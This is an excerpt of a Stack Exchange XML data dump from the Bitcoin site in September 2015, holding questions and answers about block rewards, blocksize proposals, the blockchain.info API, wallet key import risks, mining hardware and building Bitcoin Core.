  <row Id="40465" PostTypeId="2" ParentId="38476" CreationDate="2015-09-09T13:14:39.370" Score="1" Body="&lt;p&gt;What you probably want to do is set up a &lt;code&gt;-blocknotify=&lt;/code&gt; script when you start your daemon. For example, you could echo the block hash with the &lt;code&gt;%s&lt;/code&gt; formatter, and echo the time it was received, directing the output to a file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./bitcoind -daemon -server -blocknotify=&quot;echo %s; date&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-09-09T13:14:39.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40466" PostTypeId="2" ParentId="40455" CreationDate="2015-09-09T13:24:28.887" Score="1" Body="&lt;p&gt;Bitcoins are not backed by another currency or commodity. Bitcoins' value solely derives from their scarcity and utility. As their value doesn't derive from backing, the exchange rate is discovered by the market for example through trade on Bitcoin exchanges. Also see: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/182/5406&quot;&gt;Where do bitcoins come from and what gives them their value?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fiat currencies such as the US Dollar, Euro, or Renminbi are not backed by commodities either: They are backed by the power of the state distributing them as well as their citizens faith in the currency. The Gold Standard was discontinued in 1931, the succeeding &lt;a href=&quot;https://en.wikipedia.org/wiki/Bretton_Woods_system&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bretton Woods system&lt;/a&gt; that fixed exchange rates of different currencies and their gold price was abolished in 1971.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-09-09T13:55:21.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40467" PostTypeId="2" ParentId="14346" CreationDate="2015-09-09T14:34:30.473" Score="2" Body="&lt;p&gt;To answer your question of:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;how many BTC would I obtain if I discovered a block?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;25 BTC&lt;/strong&gt; in a single block currently. This will change over time as less and less BTC are available to mine&lt;/p&gt;&#xA;&lt;p&gt;Here is an excerpt from &lt;a href=&quot;https://en.bitcoin.it/wiki/Help:FAQ#What_are_bitcoins.3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;How are new bitcoins created?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;New bitcoins are generated by the network through the process of &amp;quot;mining&amp;quot;. In a process that is similar to a continuous raffle draw, mining nodes on the network are awarded bitcoins each time they find the solution to a certain mathematical problem (and thereby create a new block). Creating a block is a proof of work with a difficulty that varies with the overall strength of the network. &lt;em&gt;&lt;strong&gt;The reward for solving a block is automatically adjusted so that, ideally, every four years of operation of the Bitcoin network, half the amount of bitcoins created in the prior 4 years are created.&lt;/strong&gt;&lt;/em&gt; A maximum of 10,499,889.80231183 bitcoins were created in the first 4 (approx.) years from January 2009 to November 2012. Every four years thereafter this amount halves, so it should be 5,250,000 over years 4-8, 2,625,000 over years 8-12, and so on. Thus, the total number of bitcoins in existence &lt;em&gt;&lt;strong&gt;can never exceed 20,999,839.77085749&lt;/strong&gt;&lt;/em&gt; and counting. See Controlled Currency Supply.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Blocks are mined every 10 minutes, on average and for the first four years (210,000 blocks) each block included 50 new bitcoins.&lt;/em&gt; As the amount of processing power directed at mining changes, the difficulty of creating new bitcoins changes. This &lt;strong&gt;difficulty factor is calculated every 2016 blocks&lt;/strong&gt; and is based upon the time taken to generate the previous 2016 blocks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/information/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;This&lt;/strong&gt;&lt;/a&gt; is a great place to start reading about bitcoins (coindesk)&lt;/p&gt;&#xA;" OwnerUserId="29313" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-09-09T14:34:30.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40469" PostTypeId="1" CreationDate="2015-09-09T15:32:33.720" Score="3" ViewCount="4145" Body="&lt;p&gt;Using the &lt;a href=&quot;https://blockchain.info/api&quot; rel=&quot;nofollow&quot;&gt;blockchain.info API&lt;/a&gt;, how can I check the transactions from one address to another, including the number of confirmations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Clarification:&lt;/strong&gt; I have one address let us say. I want to programmatically check new transactions, without running a wallet and a full node on my computer. So my address is fixed. The sender address is also fixed. So, given 2 addresses, get all the transactions from one to the other. And ideally including the number of confirmations.&lt;/p&gt;&#xA;" OwnerDisplayName="user27928" LastEditorDisplayName="user27928" LastEditDate="2015-09-10T13:01:21.613" LastActivityDate="2015-09-10T13:01:21.613" Title="Blockchain.info API - Check transactions from one address to another" Tags="|api|blockchain.info|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40470" PostTypeId="1" CreationDate="2015-09-09T18:14:38.577" Score="6" ViewCount="230" Body="&lt;p&gt;I was reading that BitcoinXT is created to increase the blocksize to accommodate increasing transaction volume, but bitcoin core developers were against to it as it make the currency more centralized. But what is bitcoin core developers solution to the increasing transaction volume?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastEditorUserId="2306" LastEditDate="2015-12-09T21:14:51.180" LastActivityDate="2015-12-09T21:14:51.180" Title="What is bitcoin core developers solution to the increasing number of transactions?" Tags="|bitcoin-core-development|block-size-increase|bitcoin-xt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40471" PostTypeId="1" CreationDate="2015-09-09T18:51:57.070" Score="3" ViewCount="122" Body="&lt;p&gt;What aspects of New York's new BitLicense have most affected New York-based companies already? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How have California and other states who are planning BTC policy learned from New York's example? (For example, have other states commented in public on the BitLicense?) &lt;/p&gt;&#xA;" OwnerUserId="28176" LastEditorUserId="5406" LastEditDate="2021-02-03T17:40:28.370" LastActivityDate="2021-02-03T17:40:28.370" Title="Has the BitLicense affected other U.S. state regulators' actions?" Tags="|legal|regulation|financial-regulations|bitlicense|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40472" PostTypeId="2" ParentId="40470" CreationDate="2015-09-09T21:03:09.547" Score="8" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://gtf.org/garzik/bitcoin/BIP100-blocksizechangeproposal.pdf&quot;&gt;BIP 100&lt;/a&gt;: &lt;em&gt;Jeff Garzik&lt;/em&gt; Miners vote on blocksize, constrained between 1 and 32 MB.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0101.mediawiki&quot;&gt;BIP 101&lt;/a&gt;: &lt;em&gt;Gavin Andresen&lt;/em&gt; Blocksize increases to 8 MB, and doubles every two years after that. (This is what XT implements.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6451&quot;&gt;BIP 102&lt;/a&gt;: &lt;em&gt;Jeff Garzik&lt;/em&gt; Blocksize increase to 2 MB. (Intended as a fallback that everyone can agree on.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/sipa/c65665fc360ca7a176a6&quot;&gt;BIP 103&lt;/a&gt;: &lt;em&gt;Pieter Wuille&lt;/em&gt; Blocksize increase by 17.7% each year, consistent with current technological growth.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/btcdrak/bips/blob/bip-cbbsra/bip-0105.mediawiki&quot;&gt;BIP 105&lt;/a&gt;: &lt;em&gt;BtcDrak&lt;/em&gt; Each block increases or decreases blocksize by up to 10%. The change stacks multiplicatively. Voting to increase blocksize requires more proof-of-work, but not voting to decrease. The result is constrained between 1 MB and 8 MB.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0106.mediawiki&quot;&gt;BIP 106&lt;/a&gt;: &lt;em&gt;Upal Chakraborty&lt;/em&gt; If more than half of last 2016 blocks are 90% full, double block size. If more than 90% are less than 50% full, halve block size.&lt;/li&gt;&#xA;&lt;li&gt;It's a feature, not a bug: Almost-full blocks will encourage people to raise their fees, increasing the reward for miners, and thus increasing the amount of hashpower applied to Bitcoin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-09-09T21:03:09.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40473" PostTypeId="2" ParentId="40469" CreationDate="2015-09-10T04:35:16.223" Score="1" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt; &lt;code&gt;history(address)&lt;/code&gt;. Note that this function has bugs, so try &lt;a href=&quot;https://github.com/wizardofozzie/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;my fork&lt;/a&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, the API request for &lt;em&gt;12c6DSiU4Rq3P4ZxziKxzrL5LmMBrzjrJX&lt;/em&gt; would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/address/12c6DSiU4Rq3P4ZxziKxzrL5LmMBrzjrJX?format=json&amp;amp;offset=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there's more than 50 results, you'd change &lt;code&gt;offset=50&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll provide more details if required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal recommendation would be to use this API call, as there's no offset issues:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://bitcoin.toshi.io/api/v0/addresses/12c6DSiU4Rq3P4ZxziKxzrL5LmMBrzjrJX/transactions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-09-10T04:35:16.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40475" PostTypeId="2" ParentId="35679" CreationDate="2015-09-10T05:29:00.833" Score="2" Body="&lt;p&gt;I believe that Arturo's answer is correct in a strict sense.  You asked if it is possible, and the goal is &quot;ASIC-resistant&quot; by which you mean that it cannot be optimized through the development of an ASIC.  Any algorithm is, by its nature, suitable to be encoded into an ASIC.  Well, any programmable algorithm that is, and that includes all possible hash-chains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are competitions for the creation of new hash algorithms.  The results of these competitions, once known, can be incorporated into ASICs, but that takes time.  During the time it takes, the competitions will continue.  If the results of such competitions were regularly added to the list of possible hash functions, then the ASIC development would probably no longer be suitable because the algorithm would not be known in advance for a long enough period to develop the ASIC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I very much like the idea you presented, but it needs some refining to be effective at decentralizing mining.  This is assuming that the static nature of the PoW is a significant factor contributing to the centralization of mining.  I believe it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, we don't even need a hash chain.  If hash competitions were frequent enough, the PoW could simply used the latest winner.  How fast can an ASIC be developed?  That is how often the competition for creating a new hash would have to run.  I'm guessing at least several difficulty changes.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2015-09-10T05:29:00.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40476" PostTypeId="1" AcceptedAnswerId="41280" CreationDate="2015-09-10T07:32:36.830" Score="6" ViewCount="234" Body="&lt;p&gt;Since version 0.10.x, block headers are acquired separately, and therefore download is not delayed until previous blocks have been verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previous questions about synchronization mention that the verification takes the most time: How does Bitcoin Core verify each block? I assume it checks each transaction's script, the merkle tree, and finally the blockhash, but how does that go in detail?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-09-10T07:47:24.143" LastActivityDate="2015-11-07T14:43:35.583" Title="What happens in detail, when Bitcoin Core verifies a block during synchronization?" Tags="|block|synchronization|transaction-verification|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40477" PostTypeId="1" AcceptedAnswerId="42742" CreationDate="2015-09-10T13:37:06.077" Score="4" ViewCount="1255" Body="&lt;p&gt;I'm using bitcoinJ and I want to verify if some of the destination addresses in a transaction belongs to my wallet when I receive a amount of bitcoin. How can I verify it?&lt;/p&gt;&#xA;" OwnerUserId="27532" LastActivityDate="2016-02-04T12:27:43.407" Title="How do I check if an address belongs to my wallet using bitcoinJ?" Tags="|transactions|wallet|address|bitcoinj|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40479" PostTypeId="2" ParentId="14346" CreationDate="2015-09-10T14:48:26.590" Score="1" Body="&lt;p&gt;To answer you question about what is the reward for mining a valid block. Currently 25 BTC, previously it was 50 BTC until block number 210,000 was mined. The current amount will be divided by 2 when block number 420,000 is mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said the fluctuation in amounts you see on mined blocks is the transaction fees. When people send bitcoin they have choice to include a mining fee (to get better chance of getting in next block faster than other transactions). Depending on the transactions your miner decide to include you will get more or less bitcoin plus the base reward of 25 BTC. So normally miners that wants to cut a profit will favorite transaction with bigger fee.&lt;/p&gt;&#xA;" OwnerUserId="845" LastActivityDate="2015-09-10T14:48:26.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40480" PostTypeId="1" CreationDate="2015-09-10T20:42:16.507" Score="2" ViewCount="1120" Body="&lt;p&gt;I am running &lt;code&gt;bitcoin-qt&lt;/code&gt; on my server. I use &lt;code&gt;.Net&lt;/code&gt; library to query it through windows services. &#xA;It all works when I start &lt;code&gt;bitcoin-qt&lt;/code&gt; manually.&#xA;But if the server is restarted, I see that it is running in task manager (bitcoin-qt.exe), but it is not available for services.&#xA;I also tried to run it as administrator using the scheduler, but this did not help.&lt;/p&gt;&#xA;" OwnerUserId="7106" LastEditorUserId="5406" LastEditDate="2016-12-05T21:22:32.910" LastActivityDate="2024-03-21T07:07:45.877" Title="Run bitcoin-qt at startup of Windows server" Tags="|bitcoin-core|server|windows|bitcoin-qt-setup|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40482" PostTypeId="1" AcceptedAnswerId="40484" CreationDate="2015-09-11T05:02:11.663" Score="9" ViewCount="706" Body="&lt;p&gt;A question was asked on reddit over here which I gave a reply: &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/3khrvm/how_do_i_use_private_keys_to_receive_bitcoin/&quot;&gt;https://www.reddit.com/r/Bitcoin/comments/3khrvm/how_do_i_use_private_keys_to_receive_bitcoin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;a href=&quot;https://www.reddit.com/r/Bitcoin/comments/3khrvm/how_do_i_use_private_keys_to_receive_bitcoin/cuxleaq&quot;&gt;luke-jr replies&lt;/a&gt; with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Don't do this. You compromise your wallet's security to import a private key that others know.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;without further elaboration. Can someone explain what he's talking about?&lt;/p&gt;&#xA;" OwnerUserId="963" LastActivityDate="2015-09-11T19:31:44.380" Title="How can importprivkey compromise wallet security when importing a publicly known private key?" Tags="|wallet|bitcoin-core|security|private-key-import|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40483" PostTypeId="2" ParentId="40482" CreationDate="2015-09-11T05:14:17.557" Score="5" Body="&lt;p&gt;If Eve gives you a private key that contains Bitcoins in exchange for a pile of gold coins, she still has a copy of the private key, and can take the Bitcoins back, leaving her with both the gold coins and the Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, tell Eve to send Bitcoins to your address.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-09-11T05:14:17.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40484" PostTypeId="2" ParentId="40482" CreationDate="2015-09-11T15:54:39.300" Score="5" Body="&lt;p&gt;The problem is rather subtle and results from a combination of behaviors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, it is perfectly safe to use someone else's private key, at least in a standalone sense. Suppose the private key is &lt;em&gt;P&lt;/em&gt; and the public address is &lt;em&gt;A&lt;/em&gt;, and suppose you want to spend their money. Then you scan the blockchain for transactions outputs that are addressed to &lt;em&gt;A&lt;/em&gt;. When you see one, you create a new transaction to some desired output address &lt;em&gt;B&lt;/em&gt; (whether you're paying yourself or paying someone else), and sign it with the private key &lt;em&gt;P&lt;/em&gt;. No problems here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem starts when we're talking about wallet software. If you &quot;import&quot; a private key &lt;em&gt;P&lt;/em&gt; into your wallet, then it gets added to your personal pool of private keys (and their associated public addresses). Whenever you make an outgoing transaction, some amount will almost always be sent back to yourself as change. If the change goes to address &lt;em&gt;A&lt;/em&gt; (with associated private key &lt;em&gt;P&lt;/em&gt;), then other people who know the private key &lt;em&gt;P&lt;/em&gt; can also spend this money. Ultimately this means that if you import someone else's private key, you might lose control of your own money in some circumstances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As other people have mentioned, the safe way to handle this situation is to &quot;sweep&quot; the coins associated with address &lt;em&gt;A&lt;/em&gt; (using private key &lt;em&gt;P&lt;/em&gt;) into addresses that you have exclusive control over. In other words, use that private key to pay yourself, but never use the address as an output for change.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As an analogy: Suppose you're in a hall with numbered lockers. It's always possible to deposit money into any locker (only need the address, not the private key). Locker #0 can be opened by both your friend and yourself. Locker #1 and #2 are only openable by you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have cash in lockers #1 and #2, this belongs to you and you alone. Now when you make a transaction, you take cash out of one or both of these lockers, then return some as change. You can also take cash out of locker #0, no problem. But if you &lt;em&gt;return&lt;/em&gt; some change into locker #0, then you lose your exclusive control over that cash. So you must only return change to your own lockers #1 and #2, not the shared locker #0.&lt;/p&gt;&#xA;" OwnerUserId="23340" LastEditorUserId="23340" LastEditDate="2015-09-11T19:31:44.380" LastActivityDate="2015-09-11T19:31:44.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40485" PostTypeId="2" ParentId="40471" CreationDate="2015-09-11T15:55:05.410" Score="-1" Body="&lt;p&gt;To answer your first question, @Cointelegraph writes &quot;burdensome and expensive process of acquiring such a license, the lack of agility as a consequence of the regulations, or customers' privacy concerns&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Companies who have left New York state because of the BitLicense include, amongst others: ShapeShift, BitFinex, Kraken, LocalBitcoins,Rebit and Genesis Mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blockchain which is used as the underlying transmission component for bitcoin is modeled on the notion of a deregulated system. Attempts by players to regulate a deregulated market demonstrate inadequate understanding of the blockchain technology, while failing to acknowledge the fundamental human right of free market participation by free people.&lt;/p&gt;&#xA;" OwnerUserId="29340" LastActivityDate="2015-09-11T15:55:05.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40486" PostTypeId="1" CreationDate="2015-09-11T16:02:25.223" Score="2" ViewCount="17521" Body="&lt;p&gt;I run a full node.  I would like to get paid for the services I provide.  How can I go about getting that to happen?&lt;/p&gt;&#xA;" OwnerUserId="5453" LastActivityDate="2020-12-08T14:32:58.793" Title="How to get paid providing full node services?" Tags="|economic-theory|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40487" PostTypeId="1" AcceptedAnswerId="40496" CreationDate="2015-09-11T16:07:39.613" Score="2" ViewCount="4352" Body="&lt;p&gt;I am using GUI miner to mine on Slush's Pool.  I have connected with my miner and everything is connected.  I have even had a share accepted.  But it says my worker is offline.  Why is this?&lt;/p&gt;&#xA;" OwnerUserId="29342" LastEditorUserId="18196" LastEditDate="2016-03-06T19:38:24.300" LastActivityDate="2016-03-06T19:38:24.300" Title="Slush's Pool Worker Offline?" Tags="|mining-pools|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40488" PostTypeId="2" ParentId="40486" CreationDate="2015-09-11T16:26:05.183" Score="-1" Body="&lt;p&gt;you have the solution running your own code and application doing all the work &#xA;1. have a bitcoin wallet to generate each customer it's payment address&#xA;2. flush the address on the payment screen for each customer&#xA;3. check the blockchain to see if the address received the transaction &#xA;4. wait for confirmations &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or, connect to bitcoin payment service provider (like paypal for money)&lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-09-11T16:26:05.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40489" PostTypeId="2" ParentId="40480" CreationDate="2015-09-11T16:29:48.797" Score="0" Body="&lt;p&gt;when you run bitcoin-d I believe it's with configuration allowing remote calls to query the wallet . as soon as windows restart you will need to have this exe run with the params ,can achieve this with batch file. &#xA;and remove the on startup run of the default bitcoin-qt.exe &lt;/p&gt;&#xA;" OwnerUserId="5152" LastActivityDate="2015-09-11T16:29:48.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40490" PostTypeId="1" AcceptedAnswerId="40493" CreationDate="2015-09-11T16:29:48.763" Score="2" ViewCount="752" Body="&lt;p&gt;How do the USB ASIC miners work?  Do you just plug them into a power source and they start mining?  Do you have to set them up for a first time?  Do you need to use a mining program still?&lt;/p&gt;&#xA;" OwnerUserId="29342" LastEditorUserId="18196" LastEditDate="2016-03-06T19:36:27.220" LastActivityDate="2016-03-06T19:36:27.220" Title="How do USB ASIC Miners Work?" Tags="|asic|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40491" PostTypeId="2" ParentId="40449" CreationDate="2015-09-11T16:42:12.920" Score="1" Body="&lt;p&gt;Another way to achieve merchant reputation of trust is to add your corporate logo over top of a QRcode containing your hot wallet address. In this case your company branding and reputation determines trust efficacy, which can increase over time. This may be achieved in tandem with Phuong Gwen's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike barcodes, QRcodes have ten levels of error correction and their general redundant design feature allows one to substantially modify the QRcode, for example by adding a full color company logo, while still maintaining content integrity of your wallet address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a simple example of a KittyBitcoin logo superimposed in a QRcode over a bitcoin wallet address: &lt;a href=&quot;http://kittybitcoin.com/tip.php&quot; rel=&quot;nofollow&quot;&gt;http://kittybitcoin.com/tip.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing may permit a larger logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use of a company logo is a time tested method for associating your merchant activities with reputation and trust.&lt;/p&gt;&#xA;" OwnerUserId="29340" LastActivityDate="2015-09-11T16:42:12.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40492" PostTypeId="1" CreationDate="2015-09-11T17:28:33.603" Score="2" ViewCount="401" Body="&lt;p&gt;In what ways may I monetize a website which offers free and accurate real time Bitcoin exchange and BTC market meta data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this particular case the purpose and the business model the website was built for is a longer term proposition. In the meantime how can this website be enhanced to return at least some revenue while not substantially diminishing the intrinsic value of the content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the content one recent user said &quot;Wow – I went through most or all of the site, I can see you have a lot of thought into this, and a very nice informative site it is.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am brainstorming for a complete array of all possible - and legal - options. Any idea in its kernel form could be what I need &quot;how may I get paid with this website?&quot; - so add your answer now :)&lt;/p&gt;&#xA;" OwnerUserId="29340" LastActivityDate="2018-01-28T09:03:22.640" Title="How may I get paid with a free bitcoin website?" Tags="|exchanges|payment|options|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40493" PostTypeId="2" ParentId="40490" CreationDate="2015-09-11T19:07:17.550" Score="3" Body="&lt;p&gt;USB ASIC miners require some sort of control program that sends work to the miners and collects the results. You set them up in that control program. &lt;a href=&quot;http://bfgminer.org/&quot; rel=&quot;nofollow&quot;&gt;BFGMiner&lt;/a&gt; is one such program.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-09-11T19:07:17.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40494" PostTypeId="2" ParentId="40462" CreationDate="2015-09-11T19:09:12.043" Score="1" Body="&lt;p&gt;Since the amounts are different ($23.75, $23.89, and $24.03), they can't possibly be the same output.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-09-11T19:09:12.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40495" PostTypeId="2" ParentId="10528" CreationDate="2015-09-12T00:27:15.483" Score="-1" Body="&lt;p&gt;The full procedure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open a terminal and clone the github repository&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://github.com/bitcoin/bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then get the latest stable version, right now the command is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git fetch&#xA;git checkout 0.11&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then build bitcoin-core as ususal (install the required lib dependencies, ./autogen.sh, ./configure, make, make install)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current development version is 11.99, you can build multiple version of bitcoin, for example a development version and a stable version to test beta features and to see if the private keys / blockchain / backups are easily loaded on the dev version, this is the json output of the &lt;code&gt;getinfo&lt;/code&gt; &lt;code&gt;bitcoin-cli&lt;/code&gt; command/function that lets you check the version numbers:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;version:         11.9900 &#xA;protocolversion:  7.0011 &#xA;walletversion:    6.0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this means we are running 0.11.99 (it means the future 0.12)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;protocol version is 7.00.11&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wallet version is 6&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;extra infos:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the current versions are also stored in JSON on the bitcoin blockchain: 91b37d9429a7e660a6b2c3352e39335e81884493dfbfbffa479b8068194e921d (transaction hash)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://chain.so/tx/BTC/91b37d9429a7e660a6b2c3352e39335e81884493dfbfbffa479b8068194e921d&quot; rel=&quot;nofollow&quot;&gt;https://chain.so/tx/BTC/91b37d9429a7e660a6b2c3352e39335e81884493dfbfbffa479b8068194e921d&lt;/a&gt; see the message field on sochain or blockchain.info &lt;a href=&quot;https://blockchain.info/tx/91b37d9429a7e660a6b2c3352e39335e81884493dfbfbffa479b8068194e921d&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/91b37d9429a7e660a6b2c3352e39335e81884493dfbfbffa479b8068194e921d&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12796" LastEditorUserId="12796" LastEditDate="2015-09-16T10:14:53.090" LastActivityDate="2015-09-16T10:14:53.090" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40496" PostTypeId="2" ParentId="40487" CreationDate="2015-09-12T02:29:12.107" Score="2" Body="&lt;p&gt;A GPU miner does not have sufficient speed to satisfy the minimum difficulty requirements of pooled mining today (which is why it shows as offline). GPUs have been completely obsoleted since 2013, this is unlikely to change for the better, even if you find valid shares you will have spent several orders of magnitude more in power than it is worth.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-12T02:29:12.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40498" PostTypeId="1" CreationDate="2015-09-12T04:22:07.300" Score="1" ViewCount="686" Body="&lt;p&gt;I would like to write a very simple program in bitcoin. I thought a simple C program that accepts the mined blocks would be appropriate. So I assume, the program would open a socket connection to some fixed relay node and start accepting the blocks. Could someone show how it could be done. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit:] I have since discovered what is probably best suited for the purpose. There is a &lt;a href=&quot;https://github.com/cdecker/pycoin&quot; rel=&quot;nofollow&quot;&gt;minimal bitcoin networking stack&lt;/a&gt; implemented in python by Dr Christian Decker of ETH Zurich. It was used to gather results for some highly cited research papers on the bitcoin network but at the same time it is extremely readable too.&lt;/p&gt;&#xA;" OwnerUserId="17079" LastEditorUserId="17079" LastEditDate="2016-02-07T07:59:44.503" LastActivityDate="2016-02-07T22:40:34.683" Title="A &quot;Hello World&quot; of bitcoin?" Tags="|development|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
